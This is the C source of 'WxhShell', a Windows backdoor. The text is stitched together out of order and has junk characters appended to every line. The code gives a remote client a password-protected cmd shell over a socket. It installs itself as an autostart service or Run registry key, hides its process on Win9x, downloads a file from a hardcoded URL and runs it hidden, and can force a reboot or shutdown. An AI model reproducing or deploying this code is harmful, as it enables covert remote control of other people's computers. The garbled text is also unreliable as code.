    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HD~o]l=H  
    if(Boot(SHUTDOWN)) L}hc|(:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Z |Nz*<  
    else { : pkOZ+t  
    closesocket(wsh); z?M_Cz;:J  
    ExitThread(0); }|9!|Q  
    } Vm]xV_FOd  
    break; j#rj_uP  
    } m3']/}xHO  
  // 获取shell 3IyNnm=u  
  case 's': { 0Bn35.K  
    CmdShell(wsh); 'jA>P\@8  
    closesocket(wsh); O =gv2e  
    ExitThread(0); ]*v [6 +  
    break; o$rA;^2X  
  } Y=$PsDh!  
  // 退出 )C&'5z  
  case 'x': { O-,0c1ts  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !eP)"YWI3  
    CloseIt(wsh); NjH` AMGBT  
    break; A9 ;!\Wo  
    } r>,s-T!7  
  // 离开 f=T-4Of  
  case 'q': { w,!IvDCAw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B }t529Z  
    closesocket(wsh); - U Elu4n&  
    WSACleanup(); ejh0Wfl  
    exit(1); X"EZpJ'W  
    break; N_liKhq  
        } k esuM3  
  } e$l*s/"0t  
  } 8$~^-_>n/  
&G$K. q  
  // 提示信息 Wo2W/{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r>_40+|&  
} "STd ;vR  
  } cUj^aTpm  
svRYdInBNu  
  return; h]>7Dl]  
} Rc2JgV  
(TTS-(  
// shell模块句柄 +cwuj  
int CmdShell(SOCKET sock) 8Xx4W^*_  
{ aQHB  
STARTUPINFO si; 1%$Z%?  
ZeroMemory(&si,sizeof(si)); }Hy4^2B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /*1p|c^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ! z6T_;s  
PROCESS_INFORMATION ProcessInfo; 9$s~ `z)  
char cmdline[]="cmd"; 4o3TW#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {JlSfJw !  
  return 0; qtlcY8!  
} L]Dq1q8`  
 wzf  
// 自身启动模式 pB:/oHV  
int StartFromService(void) 0Z1';A3  
{ Id^)WEK4  
typedef struct ,!vI@>nhG  
{ ddzMwucjp  
  DWORD ExitStatus; `DS7J\c$  
  DWORD PebBaseAddress;  %X* *(  
  DWORD AffinityMask; r) g:-[Ox9  
  DWORD BasePriority; FSD~Q&9&  
  ULONG UniqueProcessId; F10TvJ U  
  ULONG InheritedFromUniqueProcessId; RMs+pN<5  
}   PROCESS_BASIC_INFORMATION; Ny5$IIF e  
Y6RbRcJw  
PROCNTQSIP NtQueryInformationProcess; _^@>I8ix  
["WWaCcx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U28frRa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "_ H 9]}Q  
HlOn=>)<  
  HANDLE             hProcess; U(:Di]>{  
  PROCESS_BASIC_INFORMATION pbi; 4`/Td?THx  
trz &]v=:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |a!]Iqz"N  
  if(NULL == hInst ) return 0; @kWRI*m  
iI Dun Ih  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,FL*Z9wA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y2aN<>f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8}K4M(  
H (tT8Q5i  
  if (!NtQueryInformationProcess) return 0; 1O2jvt7M  
Sb.%B^O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u$<>8aMei  
  if(!hProcess) return 0; F$@(0c  
_c>8y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 88On{Kk.v  
9xOTR#B:_V  
  CloseHandle(hProcess); Kh7C7[&  
R1~wzy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gX]ewbPDQ  
if(hProcess==NULL) return 0; |ITh2m  
Ya;y@44  
HMODULE hMod; IG90mpLX  
char procName[255]; 9`td_qh  
unsigned long cbNeeded; -"6Z@8=  
^@f.~4P*I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); heScIe N^`  
|ZG0E  
  CloseHandle(hProcess); [LM9^*sG2V  
1#KBf[0  
if(strstr(procName,"services")) return 1; // 以服务启动 nL+y"O  
6z2%/P-'  
  return 0; // 注册表启动 g\1|<jb3  
} .u:aX$t+  
;r} yeI Sf  
// 主模块 sBa&]9>m  
int StartWxhshell(LPSTR lpCmdLine) |4rqj 1*U  
{ .l$U:d  
  SOCKET wsl; O>d [;Q  
BOOL val=TRUE; r3 dGXiu  
  int port=0; ) uTFId  
  struct sockaddr_in door; O=}d:yZb!  
Sq]QRI/  
  if(wscfg.ws_autoins) Install(); 4{ [d '-H5  
5c$\DZ(  
port=atoi(lpCmdLine); `_SV1|=="8  
Z8`Y}#Za[  
if(port<=0) port=wscfg.ws_port; v8K`cijSS  
.Bojb~zt  
  WSADATA data; 1 %8JMq\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3F32 /_`  
OMAvJzK .  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &qP0-x)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bnZ H  
  door.sin_family = AF_INET; nP_)PDTFp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ART0o7B  
  door.sin_port = htons(port); A<+1:@0  
!oYNJE Y7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  9XhcA  
closesocket(wsl); gxmY^" Jy  
return 1; Xi;<O&+  
} Aw&0R"{  
9.BgsV .  
  if(listen(wsl,2) == INVALID_SOCKET) { R>B6@|}?  
closesocket(wsl); h@dy}Id  
return 1; tLcw?aB  
} #gVWLm<  
  Wxhshell(wsl); SqZ .}s  
  WSACleanup(); & gcZ4 gpH  
W;?e@}  
return 0; OZEbs 7  
intl?&wC  
} xlH3t&i7  
:!JQ<kV  
// 以NT服务方式启动 Ygc|9}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K>TEt5  
{ 0 \V)DV.i  
DWORD   status = 0; e,MgR\F}  
  DWORD   specificError = 0xfffffff; e.fxB  
&+3RsIl W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H5*#=It  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5_1\{lP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z!3R  
  serviceStatus.dwWin32ExitCode     = 0; 8nwps(3  
  serviceStatus.dwServiceSpecificExitCode = 0; r7FJqd  
  serviceStatus.dwCheckPoint       = 0; TfHL'u9B  
  serviceStatus.dwWaitHint       = 0; B$qTH5)W  
5?[hr5E.E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >+DM TV[O  
  if (hServiceStatusHandle==0) return; \BX9Wn*)a  
V9jxmu F,  
status = GetLastError(); %/ "yt}"|  
  if (status!=NO_ERROR) 2#ZqGf.'v  
{ Bo\~PV[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n6G&c4g<"  
    serviceStatus.dwCheckPoint       = 0; 2@IL  n+#  
    serviceStatus.dwWaitHint       = 0; %cBOi_}}~  
    serviceStatus.dwWin32ExitCode     = status; 1Vc~Sa  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8`6G_:&X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hM[3l1o{|  
    return; ?Qx4Z3n  
  }  O*.n;_&  
#M4LG; B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #lc6-K#  
  serviceStatus.dwCheckPoint       = 0; d2TIG<6/  
  serviceStatus.dwWaitHint       = 0; w@Asz9Lq%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?#Y:2LqPC  
} R x(yn  
PpH ;p.-!d  
// 处理NT服务事件,比如:启动、停止 GFju:8P?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +o):grWvQ  
{ QN|=/c<U  
switch(fdwControl) /8!n7a7  
{ /;{L~f=et)  
case SERVICE_CONTROL_STOP: jT!?lqr(Rb  
  serviceStatus.dwWin32ExitCode = 0; c,O;B_}M]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +TX4,"  
  serviceStatus.dwCheckPoint   = 0; pjl>ZoOM  
  serviceStatus.dwWaitHint     = 0; H_Xk;fM  
  { uUV"86B_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); , &n"#  
  } e=aU9v L  
  return; |KVVPXtq%C  
case SERVICE_CONTROL_PAUSE: <sw=:HU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A3*(c3  
  break; Y]5spqG  
case SERVICE_CONTROL_CONTINUE: 5W$Jxuyqj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /Kq'3[d8  
  break; ,fqM>Q  
case SERVICE_CONTROL_INTERROGATE: L62%s[  
  break; K|OPtYeb  
}; z 2jC48~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ftd,dqd  
} UR9\g(  
,7k-LAA  
// 标准应用程序主函数 ALcPbr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z"mpw mv5  
{ !|j|rYi-  
E m^Dg9  
// 获取操作系统版本 hgzNEx%^q  
OsIsNt=GetOsVer(); qozvNJm)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y. 1F@w|  
M<*WC{  
  // 从命令行安装 jVZ<i}h0B  
  if(strpbrk(lpCmdLine,"iI")) Install(); yimK"4!j5A  
e /1x/v'  
  // 下载执行文件 +95v=[t#Ut  
if(wscfg.ws_downexe) { Yi)s=Q:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :YOo"3.]  
  WinExec(wscfg.ws_filenam,SW_HIDE); Iqn (NOq^[  
} 7!h> < sx  
IF-y/]  
if(!OsIsNt) { SH#*Lc   
// 如果时win9x,隐藏进程并且设置为注册表启动 -(>Ch>O  
HideProc(); ,,+4d :8$  
StartWxhshell(lpCmdLine); 8ICV"8(  
} 6GPI gPL,  
else KV$4}{  
  if(StartFromService()) FvG?%IFM  
  // 以服务方式启动 aWH  
  StartServiceCtrlDispatcher(DispatchTable); ;E[Q/ tr:w  
else V"'PA-z3  
  // 普通方式启动 pT3icy!A=  
  StartWxhshell(lpCmdLine); $45.*>,  
V0# Ocq,  
return 0; (>f`>6 V  
} f$n5$hJlQ  
Pqw<nyC.  
^6R(K'E}  
U*E)y7MY  
=========================================== rf%VSxD9  
p\F%Nj,  
p!=O>b_f  
7S&$M-k  
6>)nkD32g  
D6l. x]K  
" 9jX_Eoxy  
>KvK'Mus/  
#include <stdio.h> ^Y+Lf]zz*  
#include <string.h> W3d+t ?28  
#include <windows.h> %''L7o.#a  
#include <winsock2.h> Mp>(cs  
#include <winsvc.h> 3 u4Q!U%(D  
#include <urlmon.h> U%q6n"[ Cr  
vp.?$(L^@/  
#pragma comment (lib, "Ws2_32.lib") ah_ >:x  
#pragma comment (lib, "urlmon.lib") 5%e+@X;j  
OG$v"Yf~  
#define MAX_USER   100 // 最大客户端连接数 @\XeRx;  
#define BUF_SOCK   200 // sock buffer Ie(.T2K  
#define KEY_BUFF   255 // 输入 buffer _MLf58  
j7Ts&;`[*  
#define REBOOT     0   // 重启 rUmP_  
#define SHUTDOWN   1   // 关机 FMI1[|:;  
lw[c+F7  
#define DEF_PORT   5000 // 监听端口 :$,MAQ'9  
Y&8,f|{R  
#define REG_LEN     16   // 注册表键长度 i}P{{kMJ  
#define SVC_LEN     80   // NT服务名长度 ;RX u}pd  
v=0G&x=/  
// 从dll定义API ..+#~3es#y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ' h<(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )RvX}y-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g#^MO]pY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Iz#4!E|<  
 k4dC  
// wxhshell配置信息 B(94;,(  
struct WSCFG { z F.@rXl  
  int ws_port;         // 监听端口 {GLGDEb  
  char ws_passstr[REG_LEN]; // 口令 jBOl:l,+  
  int ws_autoins;       // 安装标记, 1=yes 0=no h=:/9O{H  
  char ws_regname[REG_LEN]; // 注册表键名 PnaiSt9p?r  
  char ws_svcname[REG_LEN]; // 服务名 kaB4[u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |rwY   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FE&:?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F;8Q`$n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q=fl!>P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c$71~|-[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K)~aH  
5TB6QLPEwY  
}; 0kOwA%m  
ow{.iv\,u  
// default Wxhshell configuration p/VVb%  
struct WSCFG wscfg={DEF_PORT, u;-fG9xs  
    "xuhuanlingzhe", xlu4  
    1, #Gg^QJ*  
    "Wxhshell", ,NS*`F[O  
    "Wxhshell", ?z&%VU"  
            "WxhShell Service", 7 [1|(6$  
    "Wrsky Windows CmdShell Service", iW>^'W#  
    "Please Input Your Password: ", %kV7 <:y  
  1, p^|l ',e  
  "http://www.wrsky.com/wxhshell.exe", ,&WwADZ-s  
  "Wxhshell.exe" @x+2b0 b  
    }; j;Z?q%M{6  
T-6<qh  
// 消息定义模块 C` ky=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >20dK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `(0B09~7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]4en |Aq  
char *msg_ws_ext="\n\rExit."; n"6L\u  
char *msg_ws_end="\n\rQuit."; XDPgl=~  
char *msg_ws_boot="\n\rReboot..."; Wu/#}Bw#  
char *msg_ws_poff="\n\rShutdown..."; #IM.7`I   
char *msg_ws_down="\n\rSave to "; ,:A;4  
S* O. ?  
char *msg_ws_err="\n\rErr!"; 9tPRQ M7  
char *msg_ws_ok="\n\rOK!"; !Vw1w1  
35e{{Gn)v  
char ExeFile[MAX_PATH]; vBl:&99[/  
int nUser = 0; pF8 #H~  
HANDLE handles[MAX_USER];  k-=LD  
int OsIsNt; aW&)3C2-x  
II}M|qHaK  
SERVICE_STATUS       serviceStatus; iP"sw0V8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,_RNZ sa;&  
%csrNf  
// 函数声明 Dz6xx?  
int Install(void); 3yKmuu!  
int Uninstall(void); Q'jw=w!|g  
int DownloadFile(char *sURL, SOCKET wsh); ikV;]ox  
int Boot(int flag); mL48L57Z  
void HideProc(void);  Q}L?o  
int GetOsVer(void); 0zB[seyE  
int Wxhshell(SOCKET wsl); "O4A&PJD  
void TalkWithClient(void *cs); r9})~>   
int CmdShell(SOCKET sock);  |50sGJE(  
int StartFromService(void); wqF?o  
int StartWxhshell(LPSTR lpCmdLine); V)>?[  
X&?s:A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;x/eb g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <4q H0<  
V9BW@G@9  
// 数据结构和表定义 z m$Sw0#(  
SERVICE_TABLE_ENTRY DispatchTable[] = N8dxgh!,  
{ ?l^Xauk4Pj  
{wscfg.ws_svcname, NTServiceMain}, " L`)^  
{NULL, NULL} ;: 2U}p^-  
}; kY~4AH  
j/*1zu8Y  
// 自我安装 *b. >  
int Install(void) kygw}|, N  
{ g=56|G7n  
  char svExeFile[MAX_PATH]; WqCC4R,-  
  HKEY key; c_D(%Vf5  
  strcpy(svExeFile,ExeFile); _b~{/[s  
aLGq<6Ja  
// 如果是win9x系统,修改注册表设为自启动 *kl  :/#  
if(!OsIsNt) { $}gM JG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k_=yb^6[U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ptv'.<-  
  RegCloseKey(key); :]m.&r S,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { + '_t)k^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LnI  
  RegCloseKey(key); 4?'vP'  
  return 0; k6;bUOo  
    } M}V!;o<t^  
  } Ic0Y  
} gVOAB-nw  
else { 0<-E)\:[g  
WK>|IgK  
// 如果是NT以上系统,安装为系统服务 ^Fco'nlM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0- )K_JV  
if (schSCManager!=0) E=p+z"Ui  
{ Y"GNJtsL"  
  SC_HANDLE schService = CreateService ;mG*Rad  
  ( `.W2t5 Y  
  schSCManager, `x`[hJ?i  
  wscfg.ws_svcname, DVL-qt\;n  
  wscfg.ws_svcdisp, E5bVCAz  
  SERVICE_ALL_ACCESS, =Xh)34q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @i1e0;\  
  SERVICE_AUTO_START, &Vz$0{d5  
  SERVICE_ERROR_NORMAL, 3S:Lce'f  
  svExeFile, :hX[8u  
  NULL, >CqzC8JF  
  NULL, E[]5Od5#  
  NULL, No'?8+i  
  NULL, ecghY=%  
  NULL Hsf::K x  
  ); _5jT}I<k  
  if (schService!=0) go uU  
  { >%j%Mj@8q|  
  CloseServiceHandle(schService); J~k9jeq9  
  CloseServiceHandle(schSCManager); 5 8bW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @Nek;xJ  
  strcat(svExeFile,wscfg.ws_svcname); /*mF:40M;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hw^&{x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uw}Rr7q  
  RegCloseKey(key); <W"W13*j!  
  return 0; O,Q.-  
    } hJ}i+[~be  
  } j<B9$8x&  
  CloseServiceHandle(schSCManager); ;Y?MbD  
} hJ@vlMW  
} a[-!X7,IU  
69g{oo  
return 1; `t~jHe4!Y  
} ai{>rO3 }I  
l#'V SFm&  
// 自我卸载 to'7o8Z  
int Uninstall(void) +3)r szb72  
{ 9r!8BjA  
  HKEY key; %=`JWLLG  
kJWg},-\  
if(!OsIsNt) { x#>V50E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _v,0"_"  
  RegDeleteValue(key,wscfg.ws_regname); hJb2y`,q  
  RegCloseKey(key); z%82Vt!a5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r7m~.M+W"  
  RegDeleteValue(key,wscfg.ws_regname); CJ IuMsZ  
  RegCloseKey(key); zw/AZLS  
  return 0; FZr/trP~  
  } 9zu;OK%  
} )/T[Cnx.Nc  
} pH1!6X  
else { D0D=;k   
2r, c{Ah@D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1qRquY  
if (schSCManager!=0) qb>41j9_t  
{ *NmY]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e8F]m`{_"  
  if (schService!=0) Y2u\~.;oq  
  { CL=%eSsuD  
  if(DeleteService(schService)!=0) { C0wtMD:G  
  CloseServiceHandle(schService); 7*!7EBb  
  CloseServiceHandle(schSCManager); 95l)s],  
  return 0; u\]EG{w(  
  } ! _S#8"  
  CloseServiceHandle(schService); ~||0lj.D  
  } 7n8nJTU{4j  
  CloseServiceHandle(schSCManager); !6!)H8rX  
} #De>EQ%  
} #,%bW[L<N  
?d7,0Ex P  
return 1; x< A-Ws{^V  
} 2Y vr|] \8  
ge~@}&#iO@  
// 从指定url下载文件 .H" ?& Mf  
int DownloadFile(char *sURL, SOCKET wsh) AUnfhk@$  
{ 8tj]@GE  
  HRESULT hr; [C'bfX5HB5  
char seps[]= "/"; wPlM= .Hq?  
char *token; jm}CrqU  
char *file; QJ|@Y(KV0  
char myURL[MAX_PATH]; H+v&4}f  
char myFILE[MAX_PATH]; &."$kfA+  
sh<Q2X  
strcpy(myURL,sURL); IPQRdBQ  
  token=strtok(myURL,seps); a>wCBkD  
  while(token!=NULL) Ep7MU&O0iK  
  { 6d-\+ t8  
    file=token; ov6xa*'a  
  token=strtok(NULL,seps); m2(>KMbi  
  } 4Yj1Etq.E  
.ZTvOm'mB^  
GetCurrentDirectory(MAX_PATH,myFILE); Ez3fL&*  
strcat(myFILE, "\\"); {w@qFE'b  
strcat(myFILE, file); o`bch? ]  
  send(wsh,myFILE,strlen(myFILE),0); F-_u/C]  
send(wsh,"...",3,0); d>QFmsh-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HBlk~eZ  
  if(hr==S_OK) 50,'z?-_  
return 0; D|- ]<r1"  
else L5&M@YTH  
return 1; 1- 2hh)  
`|dyT6V0I_  
} mUYRioNj  
ZT0\V ]!B  
// 系统电源模块 HI.*xkBXl&  
int Boot(int flag) YvR bM  
{ r/YJ,2!  
  HANDLE hToken; ij" ~]I  
  TOKEN_PRIVILEGES tkp; acd[rjeT  
A;oHji#*  
  if(OsIsNt) { ci0A!wWD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ['d9sEv.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #N|\7(#~u  
    tkp.PrivilegeCount = 1; OF-k7g7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~tDYo)hH8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aJu&h2 G  
if(flag==REBOOT) { 7sot?gF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jLAEHEs  
  return 0; z0z@LA4k6@  
} Qb536RpcTY  
else { "Ep"$d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -+R,="nRQ  
  return 0; vObZ|>.J~O  
} MmF&jd-=  
  } w#A)B<Y/"  
  else { [!'+}  
if(flag==REBOOT) { 6Yu:v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &f*o rM:  
  return 0; b^o4Q[  
} b8mH.g&l  
else { PDNl]?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VYk:c`E  
  return 0; J9^NHU  
} #Hw|P  
} ?CpVA  
E C#0-,z  
return 1; d"wA"*8~y  
} G|6qL  
77>oQ~q  
// win9x进程隐藏模块 8mI(0m'  
void HideProc(void) Y;i=c6  
{ o) )` "^  
c6h?b[]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); inut'@=G/  
  if ( hKernel != NULL ) vFPY|Vzh  
  { ?Ga8.0Z~KT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9*q wXU_aV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c=m'I>A  
    FreeLibrary(hKernel); D#;7S'C  
  } *2AD#yIKC  
Uh }PB3WZ  
return; 2]!@)fio`  
} xS*UY.>  
-3Kh >b)  
// 获取操作系统版本 Bf{u:TCK  
int GetOsVer(void) "Q?+T:D8|  
{ HDe\Oty_  
  OSVERSIONINFO winfo; CPz<iU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?ZF):}r vZ  
  GetVersionEx(&winfo); Ailq,  c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6v`3/o  
  return 1; GZ%vFje_ K  
  else HC iRk1  
  return 0; V_7\VKR  
} P9v(5Z00|d  
F}; R  
// 客户端句柄模块 ;ALWL~Xm  
int Wxhshell(SOCKET wsl) ddHl&+G  
{ JT+ c7W7  
  SOCKET wsh; f"6W ;b2L.  
  struct sockaddr_in client; dGKo!;7{  
  DWORD myID; n0(Q/  
f%G\'q]#F  
  while(nUser<MAX_USER) u`MM K4 %  
{ hD6BP  
  int nSize=sizeof(client); d NACE*g;q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lF}[ YL  
  if(wsh==INVALID_SOCKET) return 1; nY'V,v[F  
VfU"%0x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (r|m&/  
if(handles[nUser]==0) 05d0p|},  
  closesocket(wsh); `TBXJ(Y  
else k{' ZaP)  
  nUser++; f$I=o N  
  } B[b>T=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +kSu{Tc  
(_FU3ZW!  
  return 0; O( ^h_  
} rT2Njy1  
xo>0j#  
// 关闭 socket Ho &Q }<(  
void CloseIt(SOCKET wsh) ,!orD1,'  
{ h}O tz "  
closesocket(wsh); `/O`%6,f1!  
nUser--; n !)$e;l  
ExitThread(0); 3H2~?CaJ  
} S<Dbv?  
;V,L_"/X  
// 客户端请求句柄 eL3 _Lz  
void TalkWithClient(void *cs) zxR]+9Zh  
{ j=r1JV @  
IeYYG^V<A  
  SOCKET wsh=(SOCKET)cs; g~hMOI?KK^  
  char pwd[SVC_LEN]; 2` o @L  
  char cmd[KEY_BUFF]; B+W7zv  
char chr[1]; v[dU UR f  
int i,j; xf,[F8 2y  
3h7RQ:lUi  
  while (nUser < MAX_USER) { ^Jp T8B}  
^exU]5nvz  
if(wscfg.ws_passstr) { us.#|~i<h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C4+DZ<pE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gN/<g8  
  //ZeroMemory(pwd,KEY_BUFF); C;W@OS-;  
      i=0; OBi(]l}^O  
  while(i<SVC_LEN) { YR?Y:?(  
T$;S   
  // 设置超时 ';C'9k<P:  
  fd_set FdRead; gk6f_0?X'  
  struct timeval TimeOut; 1!z{{H;W  
  FD_ZERO(&FdRead); 'Lu<2=a~  
  FD_SET(wsh,&FdRead); eiMP:  
  TimeOut.tv_sec=8; *yBVZD|?H  
  TimeOut.tv_usec=0; %8*:VR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PaCC UF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BA@E  
56;u 7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Oe5rRQ$O  
  pwd=chr[0]; $d<NN2  
  if(chr[0]==0xd || chr[0]==0xa) { >@vu;j\*E5  
  pwd=0; b-u@?G|<  
  break; 9nFL70  
  } VZ9 p "  
  i++; N/tcW  
    } E)-;sFz  
.S//T/3O]Q  
  // 如果是非法用户,关闭 socket A@V$~&JCL5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M}8P _<,  
} ?fxM 1<8  
g89@>?Mn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H^d?(Svh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l7-lXl"%q  
C19N0=  
while(1) { M%E<]H2;S  
M<-Q8 a~  
  ZeroMemory(cmd,KEY_BUFF); ebBi zc=  
r8 9o  
      // 自动支持客户端 telnet标准   _vTr?jjfK  
  j=0; .W{CJh  
  while(j<KEY_BUFF) { QAkK5,`vV.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |=0vgwd"S  
  cmd[j]=chr[0]; 9pLe8D  
  if(chr[0]==0xa || chr[0]==0xd) { `2f/4]fY  
  cmd[j]=0; Z9vMz3^N  
  break; -06G.;W\^  
  } Bsa;,  
  j++; NBk0P*SI  
    } )Cy>'l*Og7  
/a\i  
  // 下载文件 jg]KE8(  
  if(strstr(cmd,"http://")) { h*Fv~j'p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;@Zuet  
  if(DownloadFile(cmd,wsh)) =@U5/J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'I,a 29  
  else +La2-I  
